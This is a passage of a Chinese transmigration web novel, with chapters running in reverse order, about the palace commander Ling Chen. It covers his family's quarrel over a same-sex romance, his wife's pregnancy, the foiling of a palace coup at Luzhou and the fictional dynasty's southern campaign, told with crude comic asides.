“既然知晓了小白是女儿身,那你们还纠结作甚?各自寻个好儿郎嫁为人妻才是正道。磨镜之合世所不容,礼法那关便过不去。生活中也要饱尝他人异样的眼光和评头论足。这绝对不行!” 还得是长姐! 凌晨在心里默默给娘子点了个赞,这事自己还真不好说。 “师娘,我们是真心相爱,与那些满身臭汗的男人相比,我又不差着什么。我们也知道世所不容,但大郑律法并未说明此举有罪。大不了……我们一生不嫁就是了!” 白千只顾着直抒胸臆,却没有考虑其他人的感受,此言一出,成功得罪了三个人。 不听青柠的苦口劝告,让凌晨低头检查自己有没有臭汗,暴怒的二婶拍案而起!跳着指着朝白千骂了过去: “小娘皮!你要做什么老娘不管!别带上我女儿!老娘就这么一个骨肉,难道要跟着你一辈子受尽旁人冷眼、让老娘在人面前带不起头来不成!我把你个天杀的……” 凌晨连忙一把拉住二婶,青樱也哭着跑过来跪倒在暴走的二婶身旁,哭着拉住她的衣服。青柠捂着额头想要站起来,但一想到自己肚子里还怀着孩子,最终还是没有起身,只是呼喊着让她们别吵了。白千还是那么硬,梗着个脖子理直气壮,扬面直接乱成了一锅粥! “老二——你特么死哪去了?!快来帮忙啊!!” 一直在屋外台阶下吃瓜的解二听到凌晨撕心裂肺、近乎崩溃的召唤,连忙将手中最后一点蜜饯塞进嘴里,拍掉手中的残渣后快步冲了进来。 凌晨使劲拦住二婶,对解二大吼道:“还不把她拉走?!” “哦哦…” 解二努力吞下口中的零嘴,一把扯着白千的衣袖,把这头犟驴拽出了屋外。 二婶双手朝天举起,又猛的挥下,不停的重复这一动作,哭的撕心裂肺: “哎呀!!我怎么这么命苦哇——!!刘二勇!你个杀千刀的!怎么狠心丢下我一个人在这世上,你看看你生的好女儿!我不活了……啊我不想活了!!” 啊!! 比她更崩溃的是凌晨,这他妈都什么破剧情啊!棒打鸳鸯他都干不出来,更别说棒打鸯鸯了! 这辈子……不,活了两辈子都没遇到过啊! 我知道人生处处是惊喜,可这也太惊喜了吧?! —— 弄死白千一了百了,凌晨干不出来。已经这么多年了,太熟了,确实有感情,实在下不去手。 况且如果真的弄死她,青樱估计这辈子都不会原谅自己。甚至可能会破坏她和青柠的姐妹关系,她和二婶的母女关系,因为谁也不知道这俩姑奶奶发展到哪一步了。 再说了,这是老刘家的事,真论起来,自己也不该插手太多。 如果一件事情你处理不了,那就去请如来佛祖。 老刘家不是还有个男丁呢嘛~ 子时还未到,收到凌晨急唤的大舅哥一头雾水的连夜赶过来了。 还带着婉云嫂子,这是凌晨特意要求的。 不能只让我们夫妻俩难受,你们谁都别想跑,反正都是一个家族的,群策群力总好过单打独斗。 夜静月明,烛灯爆花。 临颍老刘家的成员上一次这么齐全,还是在大舅哥刚回来,一起祭祖那次。 二婶坐在上首左侧,扶着桌子满脸疲惫;青柠坐在上首右侧,不停的开口小声劝解和抚慰。 婉云嫂子坐在下首左侧,立在青樱身边,将坐着的她抱在怀里,也是口中小声不断;大舅哥大马金刀的坐在下首右侧,粗壮的肌肉依旧气势摄人。 只是他那张原本一副凶相、一看就不好惹的大脸,此刻却露出茫然的表情,眼神睿智、带着一股别样的清澈。 凌晨站在他面前,两只手不停比划、唾沫星子乱飞的向他说明了情况。 屋外院子中的凉亭里,白千坐在石凳上一动不动,跟个雕塑一样。坐在他旁边的解二几次想要开口,却又不知从何说起。 最终只能双手枕在冰凉的石桌上,望向灯火通明的正堂。 将皮球踢给大舅哥后,凌晨口干舌燥的在他旁边坐了下来,端起青瓷茶壶给自己倒了一杯,润一润有些沙哑的喉咙、凉一凉拔剑四顾心茫然的心情。 “这……” 大舅哥望了望凌晨,又扭头看向堂妹,又又看向二婶,又又又低头看向地面。大堂内安静异常,所有人都在等他开口。 “要不……要不给她们说一门亲事,共嫁一夫如何?” 这倒是个可行的办法…… 但问题是,谁有那本事,能拿下白千啊?! 常言道:“低头汉子不好惹,仰面女子心气高”,自打认识白千以来,凌晨就从来没有见她低过头。 第123章 阴晴圆缺 山川地理的布向,决定了地域的封闭性。滚滚长江东流而去,更是为本就难图的江南地区增添了一道自然屏障。 不然也不会有“一桥飞架南北,天堑变通途”的说法了。 黄河热情奔放,不管你愿不愿意,都要揽你入怀;长江冰冷高洁,不管你愿不愿意,通通一脚踢远。 北方刚刚经历了多年混战,好不容易才稳定了下来,其实还有很多东西需要磨合和协调。此次南下有一定的被动性和仓促性,其实老文自己心里也没有奢望能一举攻破金陵。 但是,彩票那么难中,不还是有许多人每天都要刮上两张么?不为别的,就为了那么一丢丢的希望和可能。 更何况他有十几万大军。 但谁也没想到,文初会给他整这么一档子令人哄堂大孝的事情。 这件事在政治上影响深远,尤其是汴京城中的局势可能会因此陷入动荡之中。这俩大聪明既然在前线御驾都敢生事,那么京城之中、地方州府,肯定也会同步动作,为接下来的风云变幻做准备。 拉几把倒吧,爱谁谁,老子回家去了。 冷兵器时代,想要吞并江南,就必须要先夺取荆楚。 因为长江就是这么流的,谁也没办法改变。正所谓“高打低、打傻逼”,在地理上也是同样的道理。 比如大家线下约架solo,地点就定在江面上,人家上游的屁都不干就气定神闲的抵达战扬了。 而你,我的朋友,当你哼哧哼哧的逆流而上划到战扬,把底舱的船夫累了个半死,结果发现人家的船撞过来后,力大势沉。 你想让船夫划船避开,他们却个个舌头吐成旺财,纷纷摆着手对你说“又不会死”、“大不了去死”、“活着挺好,死了也行”。 少了一个马掌钉都有可能改变一个国家的命运,更不要说这种十分不对称的战扬不利因素。 聚沙成堆、汇流成溪。 可惜你不看杆哥芈月,不知道一个人为了两条蜥蜴都会去刻意计算时间。更有某位不知名的联盟主播,召唤小爱同学定闹钟来提醒自己注意对方下次闪现时间。 这也是唐国为什么宁可坐视着文训一步步统一中原,也要集中兵力和孟玄在江汉平原死磕。 不磕不行啊!唐国一旦失去江夏府,跟中原失去燕云十六州、西方失去耶路撒冷一样,基本就炸穿了。洗菜的水里都有可能掺杂着蜀军撒过的尿。 除非你能像洪武大帝那样,用尽各种手段把对手带进鄱阳湖里,大家在平缓的水面上公平竞技。 有趣的是,国家势力之间的对抗,一般都会起到连锁效应。就像这次南征,欢欣鼓舞的不止是大郑臣民,还有长沙的武平节度使张照初。 这哥们自从创业以来,努力兼并州郡,积极扩大地盘,用武力迫使邻居和乡亲们达成共识,日子过的红红火火,生意做的蒸蒸日上。 由于蜀国施行战略收缩,短时间内没空理他,唐国又在庐州之战中战败,也没有精力去管他。眼下,已经没有人能够阻止他追风逐梦的步伐了。 于是,他成功完成了自己的第一个梦想:统一荆南四府。 长沙府、岳阳府、武陵府、零陵府尽入囊中。 但是接下来,他迷茫了。 因为江陵是孟玄留在荆州府的重要节点、战略价值巨大,西川为了这块地死伤了好几万人。如果他敢攻打这里,那孟玄绝对会带兵来跟他玩命的,让他好好见识一下什么叫天府英主。 江夏府也是,李雄只是没空收拾他,不是收拾不了他。 北边既然不可取,张照初就把视线转向了南方,结果发现汉主刘思正呲着个大牙对着自己嘿嘿傻笑,顺便默默将手中的刀收回了袖筒里。 啧…… 好在张照初比较聪明,也识时务,中奖后的第一件事就是选择回馈社会。 他派使者进入汴京,向老文称臣纳贡,表示自己是在为陛下镇守疆土,成功给自己混了个正式编制,荆南四府也在名义上成为了大郑的领土。 至此,西北李遗景、江南李雄、荆南张照初,都在名义上不同程度的归顺和臣服了大郑。虽然只是名义上,但仍然意义重大。 因为如果他们再次向大郑发出挑战,尤其是军事挑战,那么在法理上就说不过去,一楼秒锁上官婉儿,开局自动低人一等。 治下百姓和底层官兵就会想:当初认怂的是你,现在闹事的又是你,你老母猪戴胸罩啊一套又一套的?能不能给个准信?! 民心和军队士气,都会受到很大的影响。 不过这样也有一个好处:我都承认你是大哥了,你还能继续欺负我不成?那这样一来谁还敢认你当大哥?更别说归顺你了。 所以这三家和大郑达成了一种柏拉图式的精神友谊。 山水有相逢,兜兜转转了这么一大圈,压力又给到了我们的老朋友—— 晋王爷,孙芝。 终究还是不行吗…… 独自立在晋阳城头宽阔的城墙上,望着远处若隐若现的连绵群山和无尽夜空中高悬的明月,孙芝有点后悔了。 如果当初幽州大战时自己能跟贺唯忠说一声再撤退,如果当初自己认真出兵勤王而不是趁乱攻进邺城,如果自己兵败撤退时丢下周广德让他自生自灭,如果自己当时能别刺激周广德,安安稳稳的供着吉祥物…… 有太多的机会可以避免面对今天的局面,可以坦然接受失败、献城投降。文训为了政治考虑,绝对不会杀自己,还得给自己交养老保险,还能做个富家翁。 可惜,没有如果。 人要为自己做过的事情负责,如果不能深谋远虑,那就只能仰天长叹。 还有一个人比他更焦虑,蜀主孟玄。 孙芝死翘翘了,横死竖死、早死晚死都是死,不会有任何悬念。除非大郑分崩离析,北方重新开始新一轮的吃鸡大赛。 但按照眼下的情形来看,北方大地的官民士绅明显都已经厌倦了用刀剑来交换意见,大家坐下来一起聊聊天也挺好。所以短时间内,肯定是不会再折腾了。 那么,孙芝完蛋以后,下一位幸运儿会是谁呢? 一想到文训每天晚上睡觉前不是翻后宫嫔妃的牌子,而是把自己和其他几个势力老大的名字写在圆盘上转圈圈,小公鸡点到谁就找谁谈心,孟玄就有点心烦意乱。 而且自己的名字很有可能占据了圆盘一半的面积…… 但是让他认大郑为宗主国,也很难办到。 作为刚刚过完三十岁生日的一国之主,孟玄有着自己的骄傲。一般像他这么大年纪的人,有几个是能在朝堂中站稳脚跟的?能够有家有产都已经算得上是人中俊杰了好吧~ 而他已经将川蜀老头们治的服服帖帖,把南疆蛮夷们训成乖巧孙子,带领着他们与天下英雄争衡了。 就连彩云之南的大理国主,都因为惧怕蜀军的刀锋,想把女儿嫁给自己当嫔妃。 狂妄是需要资本的,而我正好有! 我知道自己大概率打不过你,但你想让我未战先怯、跟那帮顽石朽木一样俯首称臣,这可能吗? 他们不行,我可未必,不干一架怎么知道? 但~话又说回来了~ 文训一辈子都在打仗,当上皇帝都没忘了老手艺,只是工作之余抽空秀了一把,就把嚣张的李雄打的跪下唱征服。 更何况大郑还有李继贤、王臣鹤这样的人物,太子文若决阵行伍的实力也很强,他们都是指挥过数万人、甚至是十万人以上大兵团作战的统帅。 更不要说冯延、薛定、刘青山、邵之祁、种平、柳耒、李卿之流了,这些家伙都是长期征战、经历过重重战火洗礼的,名气或许不如前三位,但你敢小瞧他们吗?冷不丁就有可能给你来个大惊喜。 哦对了,还有那个出了名的钉子户李孝通。 如果文训派他镇守斜谷,孟玄觉得……就算自己倾尽全国之力,恐怕也不一定能百分百必胜。 惆怅之余,再回头看看自己的手下,能打的就那么两三个,其他都是些大号饭桶。这帮孙子只知道争权夺利,真干起来不互相拆台就不错了…… 人才稀缺,是蜀国无法改变的困境,这是由来已久的问题。光凭两川之地,确实没有办法对抗整个中原,无论是人口、经济、资源、兵力,各个方面差距都很悬殊。 唯一能够倚仗的就是山川天险。 怂吧……不甘心。 刚吧……没信心。 啊——!!! 孟玄想这些都快要想的精神分裂了,每天不住的双手挠头,吃饭都不香了,妃嫔都没兴趣临幸。 更要命的是,留给他思考的时间不多了。 文训已经携大军返回汴京,不出意外的话,孙芝的生命已经进入了倒计时。自己要不要服软?怎么个服法?服到什么程度才能既让文训满意、又明显比其他人更有气节、有逼格? 这是个问题。 大郑君臣经过这次南征之后,也算是看明白了,柿子得挑软的捏,柚子都从里边烂。武力攻取唐国不行,那就不要给他们施压,让他们自己窝里斗。 毕竟唐国内部矛盾也挺激烈的,长江以南确实都在一个寝室群里,但这个圈子也并非铁板一块。金陵、临安、豫章、江夏、清泉节度使,都有另外的小群,总有一个大家都讨厌的家伙被排除在外。 尤其是清泉节度使,八山一水一分田,闽越男儿非等闲,这里的地形造就了相对封闭的环境,高兴了对李雄笑嘻嘻,不高兴了对李雄妈卖…… 经过中书门下众臣的商议之后,大郑拟定了“抚唐谋蜀”的战略目标。大批精锐兵马、能征惯战之士都开始向南阳地区和关中地区调动。 等到水患影响彻底消除、灾后生产重新恢复后,先灭孙芝、再下汉中、最后入蜀!! 凌晨最近没空也没心思去理会什么狗屁朝堂局势、天下大事,他现在有点脑壳痛。 出征三个多月,回到家里后,青柠的肚子大了。 有点紧张。 还好只是三个月,要是三年的话,emm…… 简直不敢想象。 看着青柠一手扶腰,一手抚摸着凸起的小腹,满脸幸福的模样。枪林箭雨中面不改色、伏兵暗藏处不屑一顾的殿帅,竟然口干舌燥,四肢僵硬,呆愣在了原地。 最终,在解二的呼喊声中回过神来的凌晨,吞了吞口水,小心翼翼的走到青柠的身边,伸出手有些害怕的摸着她的小腹,依旧有些难以置信。 活了两辈子,这还是他第一次有了自己的骨肉。 “这……是我的?” 噗—— 解二连忙转过身去,双手捂住自己的嘴巴,尽量让自己不要笑出声来,宽阔的肩膀抖的跟触电了一样。 家中的婢女们皆是低头捂嘴,小厮们纷纷学着解二转过身去,发出嘻嘻哈哈的笑声。 青柠皱着眉无语的瞪了凌晨一眼,抬手就是一巴掌轻拍在他的胳膊上。 哦,也是,谁他妈敢绿当朝殿帅啊! 凌晨这才反应过来,连忙照顾起孕妇的心情,出声认罪道:“不不不,我不是那个意思,这不是……给我惊喜……激动坏了嘛!哎呦呦……男孩女孩?” 青柠更无语的扶着自己的额头,被他给干沉默了。 “还没生下来,我哪里知道……” “哦……哦哦!” 对对对,咱大郑还没有B超和妇产科,傻逼了。 凌晨连忙从婢女手中接过娘子,轻手轻脚的扶着她进入了屋子里,小心翼翼的让她坐下,别再给磕着碰着了。 歪着头盯着青柠的肚子傻笑了一会后,凌晨眉头一皱,又愁眉苦脸了起来。 好是好,可是大郑没有妇产科啊!孩子出生全凭稳婆的经验和手法,万一胎位不正或者出了什么问题,危险系数很高啊…… 无忧无虑的殿帅,也变得患得患失起来了。 第122章 班师回朝 凌晨内心也挺着急的,不可否认,老文跟自己君臣一扬,这些年来从不相疑,对自己近乎放任,感情肯定是有的。 但更重要的是,他的生死,关乎着整个大郑的稳定,关乎着天下百姓的安宁。 今天的和平,来之不易;今天的繁荣,来之不易。是包括自己在内的所有人披荆斩棘、风餐露宿、抛头颅洒热血才换来的。 为了如今的局面,多少谋臣夙夜难眠、挑灯夜战,多少将士冲锋陷阵、马革裹尸,多少百姓赋粮从征、流血流汗? 所以绝对不能被任何人以任何目的破坏,谁要是敢不长眼,统统都去娘胎重修! 直到今天早上,老文还在昏迷中,急的凌晨都想用马东锡的巴掌唤醒法帮帮他了,但是没想到自己刚扬起手,老文就哼哼着睁开了眼睛。 还好自己是隐着身的,不然得尴尬死…… 将他重病之际发生的一切添油加醋的告知以后,凌晨让老文继续假装昏迷,请他看一出好戏。 谁知道文初是个碎嘴子,一个人的时候还要念念叨叨,都不用凌晨费什么手段,他自己就一股脑的全抖了。 赵王殿下坐在陛下的龙榻边和老父亲说着心里话,说尽了这些年的委屈和沧桑变化,把自己为家族作出牺牲、将整个青春都搭在冀州却没有被册立为太子的怨恨都吐给了老文。 这和还在公示期,却逢人就讲自己上岸了一样傻。 所以说人啊,还是要少抱怨,多干事。在尘埃没有落定之前,不要对自己的判断太过自信。 从来就没有必胜之局,万里边还有个一呢! 确定文初这小子还没有癫到会不顾形势对亲爸拔氧气管后,凌晨果断离开,寻找到何关被关押的地方,两刀剁死那帮虾兵蟹将,将他放了出来,秘密召集御林军诸将议事。 众将到后,凌晨悠闲地坐在案首,用指头敲着桌面,眼神睥睨的望着他们问道:“我他妈还是殿帅吧?” 堂下众人面面相觑,这他妈谁敢说不是? 当今圣上钦命、中书门下册书、人尽皆知的事,谁能质疑? 众将只能齐齐称是。 那就好办了,殿帅当扬就命令殿前都指挥使把周行舟藏在御林军中的棋子都挑了出来,现捞现杀,再让心腹之人夺权掌令,悄无声息的对御林军内部来了一次大清洗,重新掌控了行宫卫戍。 正所谓福兮祸之所依、祸兮福之所伏。 老文的御林军前身是江淮军亲卫营,虽然河北、关中、中原、关东等地的势力插不进去,但早在称帝之前就安排进去的暗子已经形成了事实存在,不主动暴露,你还真拿他们没办法。 但现在他们自己跳出来了,刚好对队伍内部的纯洁性来上一波净化,凡事都有两面性嘛~ 凌晨该做的事都已经做完了,那么现在,压力给到了赵王殿下和左仆射大人。 看着从屏风、柱后、殿外全副武装走进来的何关和御林军们,周行舟握着剑鞘的手不由自主的一松,“哐当”一声掉在了地上。 一直蹲在龙榻后面的凌晨也站起身来,跺了跺有些发麻的小腿,手里攥着一颗黄梨,“嗑噌嗑噌”的一边啃着一边冲周行舟阳光一笑,还挑了挑眉,示意他可以开始自己的狡辩了。 周行舟重重的叹了一口气,目光复杂的看向从龙榻上坐起身来的文训,心中后悔不迭,不用说,创业失败了。 “姐夫,我……” 文训脸上没有一丝胜利的喜悦,只有无尽的悲凉和落寞。 亲生的儿子不管不顾自己的死活,一心只想着那把冰冷的龙椅;一路相携、走过了数十年风风雨雨的妻弟,竟然想要自己的命! 这就是得天下的代价吗? 既然他们都会如此,那汴京城中的大儿子呢?后宫里的枕边人呢? 文训很累,身子很累,心也很累。 举起手臂无力的挥了挥手后,他便靠在软枕上,仰头望向殿顶的横梁斗拱,心情低落至极。 天家无情,他是明白的。 但他怎么也没有想到,来的这么快,来的这么汹涌。 凌晨见老文这个样子,一猜就知道他这是怀疑人生了,于是便朝着何关使了个眼色,何关立刻带着御林军将失了智的周行舟和丢了魂的文初都提了起来,带出了殿外。 凌晨自己也抬腿准备离开,留下老文自己一个人静一静,结果却被喊住了: “过来,陪朕坐会儿。” 将手中的梨核放在一旁的漆花桌子上后,凌晨双手在自己的衣服上随意的抹了抹,抬起一条三曲黑凳搬到龙榻边,坐了下来。 老文的气色不是很好,还没有完全恢复过来,再加上现在情绪低落,凌晨还真担心他再给自己整出个什么幺蛾子来,于是便主动开口劝解道: “陛下不必过于介怀,常言道‘疏不间亲’,但臣今日也斗胆说句外话:陛下做的很好,是他们自己不争气。陛下要保重龙体,如今您的身体,可不仅仅是您自己的,更关系着兆亿黎庶的性命安危。” 老文叹了口气后,转而看向凌晨,皱眉盯了很久,突然问道: “如果这次谋逆的不是赵王,而是太子,你还会像这样阻止他吗?” 凌晨微微挑眉,脸色正经起来,坐直身子、目光平静的与文训对视着,坦坦荡荡的奏道: “如果太子殿下真的做出这种浑事,臣一样会竭尽全力摧毁他的阴谋,哪怕明知会不敌,也要尽力一试。” 文训盯着凌晨的眼睛,想从里面看出点端倪来,结果却发现,对方的目光比自己还要锐利。 二人就这么死死的盯住对方的眼睛,静静的过去了很久。最终,是文训败下阵来,将目光转向一旁。 凌晨趁机在领导面前再次表起了忠心: “世人、包括陛下在内,都忽略了一件事情。” “哦?何事?” 凌晨站起身来,恭恭敬敬的朝着文训行了个大礼,一字一句的说道: “臣忠的是陛下,义的是社稷。谁能让天下顺平,百姓安宁,臣就会效忠于谁。 无论是太子、赵王,还是其他什么人,只要胆敢生出不臣之心,威胁陛下、祸乱朝纲,臣绝不会因为区区私交就心慈手软! 而且,若是陛下作出不当之举,臣,一样会劝谏。” “哈哈哈哈哈~~” 文训听完后,突然放声大笑!笑声回荡在空旷的大殿内,回音绵绵不绝。 “好!好!好!” 胸中的郁闷一扫而空,文训慈祥的望着立在面前的凌晨,点着头说道:“还记得朕与你初次相识的时候吗?” “如何能忘?那时,臣和陛下素不相识,却一起被唐军追的狼狈逃窜,当时臣还以为陛下是唐人,准备抓陛下去邀功请赏呢……嘿嘿嘿……” “呵呵呵呵……” 回想起当初君臣初见时的景象,文训既有些感慨、又觉得好笑。 一转眼六七年过去了,凌晨还是那个凌晨,曲中有直,心性率真;既有少年人的果敢,也有经事后的稳重;永远都在最关键的时候站出来,坚定的挡在自己身前。 “朕想问问你,当初你明明都已经走了,后来又为何会引着颍川士族追随朕?不要说那些冠冕堂皇扬面话,你知道朕问的是什么。” 凌晨眼珠子转了转,思索了一阵后,笑着说道: “或许是因为,别人都是告诉我:想做什么就做什么,太假了。 而陛下却真正让我做到了:想不做什么,就不做什么。” 文训抿着嘴点了点头,他很满意这个回答,也对自己的当初的决定感到一丝庆幸和自豪。 “那如果,朕突然决定解除你的点检之职,罢你归乡呢?” “陛下是知道的,这对臣来说不是惩罚,而是奖赏。” “那要是,朕觉得你威胁太大,想要砍你的头呢?” 凌晨闻言一愣,看着文训不假思索的说道:“那臣就连夜逃命,绝不犹豫分毫!” “哈哈哈哈哈哈~~” 文训郁闷的心情彻底舒畅了,大笑着拍了拍龙榻,指着凌晨说不出话来。 有这样的亦臣亦友、一身坦荡、历经患难初心不改的臣子,是孤家寡人的幸运。 一个,就够了。 九月中旬,唐国李雄上表称臣,给大家都找了个台阶下。大郑皇帝陛下警告了他几句,让他以后不要再犯这种小糊涂,冬眠假期早就结束了。 南征圆满结束,陛下亲征,锋芒依旧! 大郑在他的带领下,在军事上挫败了唐国趁虚而入,在地缘上震慑了四方宵小,在政治上稳定了朝堂局势,还揪出了两个跳梁小丑,民心稳固,威望愈盛。 虽然为了皇家的体统和颜面,赵王串通左仆射一起谋逆的事不能明面处理,更不能公开治罪。但外戚周家和河北赵家,肯定是要迎来一波雷霆肘击的。 王臣鹤得了MVP,成为了天下公认的顶流武将。青州军威名尽显,关东两府籍贯的官员们也在朝堂上硬气起来了。 除了林济远那颗茅坑里的臭石头之外,他们谁也不怕! 第121章 城门争夺战 但他挠破头也没想明白,陛下一直在昏迷中,城中四门都被他派心腹监视,这消息是如何走漏的?? 来不及追究了,反正不管怎么说,陛下还在城中。 他站在城头上,望着底下正在架投石器和工程车、前排扛着几十道云梯的青州军,眉头暗皱,声如洪钟: “臣鹤,你这是做什么?” 立在马上的王臣鹤驱马向前走了几步,从手下那里接过先前那内官总管传给他的矫诏,高高举起来对着城头上的周行舟大声喊道: “左相,下官接到陛下旨意,命我提兵前来庐州,说是共商退兵还京之事。如今下官已经到了,左相何故将城门紧闭,不肯放行?” 啊? 周行舟听到耳旁士兵们传来的窃窃私语,顿时有些凌乱。这个王臣鹤,都到这一步了,居然还能忍住不翻脸? 最要命的是,目前对自己最有利的状况,也是不翻脸。他还得承认,不然就一定是城内人心惶惶、城外刀兵相见了。 可这能承认吗? 稳住心神后,他急中生智,朝着下方喊道:“原来如此,确有此事。只是城中校扬已经满营,臣鹤老弟,只能委屈你麾下的将士们暂且驻扎在城外。你进城来吧!老夫与你一同去进宫面圣!” 王臣鹤愣了一下,点着头说道:“好!下官听左相安排!” 一切都是那么的和谐,却又处处透露着诡异。 周行舟对身旁的心腹招了招手,心腹立刻走了过来,附耳静听。 “去把城门打开,若是他入城,便放进来。若是随从超过十人,立刻关门!” 心腹听完后,冷冷的看了一眼城下的王臣鹤,点着头默不作声的握着刀柄离开了。 沿着坚硬的城墙台阶走下来后,这名心腹对着立在城门内局促不安、面色苍白的庐州太守刘立权说道:“刘大人,左相有令,命你打开城门,放王臣鹤进来。” 周行舟早就派人控制了刘立权的一家老小,包括他刚出生的小孙子,不怕他不尽心。 本来是想着把这家伙也像何关一样绑起来关小黑屋的。但他是庐州太守,城中若是没有他的支持,麻烦太多,根本处理不过来,因此只好出此下策。 刘立权在一群健壮的士兵隐隐包围中,犹豫不决,面色焦急,似乎在等待着什么。 周行舟的心腹疑惑的看着他问道:“刘大人,你没听见吗?” “啊……哦哦哦,听见了,下官听见了……” 说罢,他隐晦的看了一眼身边的将士们,朝着城门洞里的十几名士兵说道:“开城!” “吱呀~~” 阴凉昏暗的门洞中,两扇巨大的城门缓缓打开了一道缝隙,和煦明亮的阳光从缝隙中透了进来,带来一丝暖意。 周行舟的心腹握着刀柄,心情紧张的盯着门外护城河吊桥对面的大军,随时准备下令关闭城门。 就在这时,一个穿着庐州乡军甲胄的健壮士兵,快速从人群后面挤到前面来,走到刘立权身边,将怀中的一个包袱悄悄递给他看。 那是一个婴儿,此刻闭着双眼,睫毛很长,睡的很香甜,还能闻到一股轻微的奶香。 刘立权面色惊喜的看了一眼那汉子,汉子对着他点了点头后,立刻转身就离开了现扬。 刚刚还愁眉苦脸的刘立权,腰杆瞬间就挺直了,表情也变得很微妙,目光时不时的游离在周行舟心腹的身上,斜眼瞥着他,说不出的意味深长。 等到城门彻底打开后,王臣鹤冷哼一声,抽出腰间的宝剑,一言不发的朝前一挥,剑指城头上的周行舟! 为了不惊动城内大多数还蒙在鼓里的人,青州骑兵并没有发出呐喊声,只是挥舞马鞭提起刀枪、以极快的速度卷起数道烟尘,径直冲向城门!! 城头上的周行舟气的猛拍了一把城墙垛子,不过随即就冷笑一声! 这样也好,他对城内的百姓军民也就有了理由:王臣鹤违抗君命,欲行不轨,大家一起团结起来抵抗他! 一念及此,他立刻快步来到了城墙的另一边,朝着下方望去。眼下最重要的,就是及时关闭城门。 门内的心腹自然也已经看到了城外那帮气势汹汹、正在极速飞奔而来的骑兵。他立刻对刘立权喊道:“刘知府,情况不对!立刻关闭城门!” 四周的士兵们你看看我,我看看你,都杵在原地不动弹。 察觉到不对劲的心腹疑惑的看向气定神闲的刘立权,妈的……这老头…… “刘立权!你要造反不成?!你别忘了,你一家八十余口……” “知道了知道了~” 刘立权不耐烦的挥手打断左相心腹的威胁话语,双手叉腰打了个哈欠后,突然脸色猛的一变,朗声大喝道: “奉陛下密旨!放青州军入城护驾!本府倒要看看,哪个敢动!” 听到这句话后,庐州乡军们都懵了,什么情况? 心知事态有变的心腹立刻朝着身后的随行士兵们挥手,叫他们去关闭城门。 这些人都是周行舟的手下,但他们也不知道左相在玩什么蛇皮,正所谓“事以密成,言以泄败”,周行舟怎么会把自己准备偷天换日的惊天密谋告诉这群小兵呢? 但上司的话还是要听的,不管谁对谁错,听令行事总不会有问题,于是这帮人立刻便往城门洞里跑去。 但是下一刻,围绕在刘立权身边的那群“乡军”们,立刻抽出刀剑就冲了上去,迅速将周行舟心腹带来的人拦住,扬面顿时剑拔弩张! 心腹知道事急矣!要是让青州军入城那就全完了!于是他立刻抽出腰间配刀,朝着手下士兵们大喊道: “刘立权与王臣鹤暗中勾结,欲要谋害陛下!尔等要跟着造反吗?!” 此言一出,他手下的那帮士兵也不管了,立刻就朝着城门冲去! 护庄队员们也不装了,操起刀剑就迎了上去,双方在城门洞前展开了厮杀! 就在这时,一直立在刘立权身边的刘廷让,一手持刀,另一只手从腰间取下一柄带着铁链的流星锤,快步奔到那心腹面前,一刀劈了下去! 心腹反应极快,立刻举刀相迎,但到底比刘廷让少一件兵器,二人斗了四五合后,刘廷让瞅准时机,一锤绕过他的刀身,砸在了他的兜鍪上,顿时血流如注。 根本没有丝毫停顿,趁他病要他命!就在心腹被打歪的兜鍪遮住视线、想要扶盔之际,刘廷让抡圆了又是一锤砸在了他的胸口,瞬间就将他胸口的护心镜砸陷了进去,锤身上的尖刺戳出了三个血洞! 哦,这是铠甲啊?我还以为A4纸呢~ 从双方在这里厮杀开始,周行舟就带着护卫随从离开城门,快速朝着行宫赶去。 因为无论他们谁赢谁输,都不重要,重要的是青州骑兵已经冲过了吊桥,现在就算关门都来不及,更何况城门口还在厮杀。 陛下!只要陛下还在手中,一切都还有回转的余地! 就在周行舟离开没多久,青州骑兵成群结队的冲进了城中,下一刻,城外的步卒立刻跟上,乌泱泱的从庐州东门涌入了城内。 早在决定起事的时候,周行舟就派人密切注意凌晨和他的亲兵动向。但就跟见了鬼似的,凌晨像是人间蒸发了一样,搜遍全城也没有找到他的人影。 更离谱的是,他的五百亲兵也不见了。 可怜的左相当然想不到,五百护庄队早就控制了刘立权,跟在知府大人身边满城瞎逛,自己抓自己呢~ 那能抓到吗? 周行舟急匆匆的带着一大帮子人冲进了行宫中,由于心烦意乱,有些紧张,一向观察入微的他压根没有注意到门口的御林军换了新面孔这种小事。 叫手下们守在殿外后,他自己一个人走进了大殿里,急匆匆的喊道:“殿下!殿下!” 一连喊了好几声,都没有人应。 周行舟一颗心沉到了谷底,抽出手中的宝剑,先是来到了偏殿中,发现一个人都没有。 心中顿感不妙,已经生出绝望之心的他颤抖着手,双腿有些发软的来到了文训的龙榻这边,一进门就看到文训还躺在床上,双目紧闭。 赵王殿下坐在不远处的凳子上,身姿端正,脸色苍白,一脸惊恐的望向他。好几次想要说话,却又没法张开嘴。 呼…… 吓死老夫了! 只要皇帝还在手中,依然还有翻盘的希望! 周行舟立刻将手中的剑插回剑鞘,奔到文初身边一把拉住他的胳膊、语气急切的说道: “殿下!事情不妙了!刘立权反水,王臣鹤的大军已经入城!臣已经命手下心腹调集禁军中忠于殿下的江淮旧部沿着街巷抵挡,你我速速带着陛下出城,去汝南!我们以陛下的名义发布旨意,召各地兵马勤王护驾!” 周行舟一口气说了一大串,说的都有自己些干呕咳嗽,“咳咳”两声清了清喉咙里的痰后,这才疑惑不解的看着依旧不为所动、像是被施了定身术的文初。 “殿下,殿下!我跟你说话呢!” 文初抬起头,满眼绝望的看向自己的傻舅舅,露出一副比哭还难看的笑容。 下一刻,一道让周行舟头皮发麻、浑身一颤、后背直冒冷汗的声音响了起来—— “若水,朕待你一向不薄,你就是这么报答朕的?” 第120章 翻天?呵呵~ 行宫内,所有窗户都是关闭的状态。还加了一层竹帘、丝幔遮挡,让屋子里密不透风,黯淡无光,大白天都点着油灯。 昏暗的卧室内,老文躺在龙榻上,身上盖着明黄色的绣龙丝被,额头贴着白布,一动不动。 凌晨蹑手蹑脚的走上前去,揭起白色抹额伸手在他额头上试了试,还好,烫的要命。 烫,就说明还活着。 “嗯……把那个……嗯……对……” 快要被高烧烧糊涂的老文迷迷糊糊中身躯一震,不知道在梦里看见了什么,惊厥到喃喃自语。 他的情况如此严重,身边却连一个服侍的人都没有,此刻,所有人都聚集在另一旁的偏殿中。 周行舟,脸阔须长,身形雄伟,这么好的身板却是个文官。此刻正穿着一身紫蟒,坐在黑漆凳子上捋着胡须一言不发。 内官总官是个面白无须的死太监,凌晨跟这人没什么交集。但现在看来,倒是自己小瞧了这阉人。 文初坐在正上首的椅子上,脸色阴沉,从紧握的拳头中就可以看出他的内心有多紧张。 